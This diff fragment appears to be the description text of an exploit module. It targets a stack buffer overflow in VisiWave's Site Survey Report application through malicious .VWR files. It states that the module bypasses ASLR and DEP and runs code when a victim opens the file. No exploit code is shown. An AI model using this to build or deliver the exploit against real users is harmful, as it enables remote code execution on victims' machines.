+				This module exploits a stack based buffer overflow in VisiWave's Site Survey Report application. 
+				When processing .VWR files, data is read from file into a fixed-size stack buffer. Since no bounds 
+				checking is done, a buffer overflow can occur. Attackers can execute arbitrary code by convincing 
+				their victim to open an VWR file. This module was built to bypass aslr & dep.
+
+				NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a 
+				victim user to 'double click' the malicious VWR file and execute code.
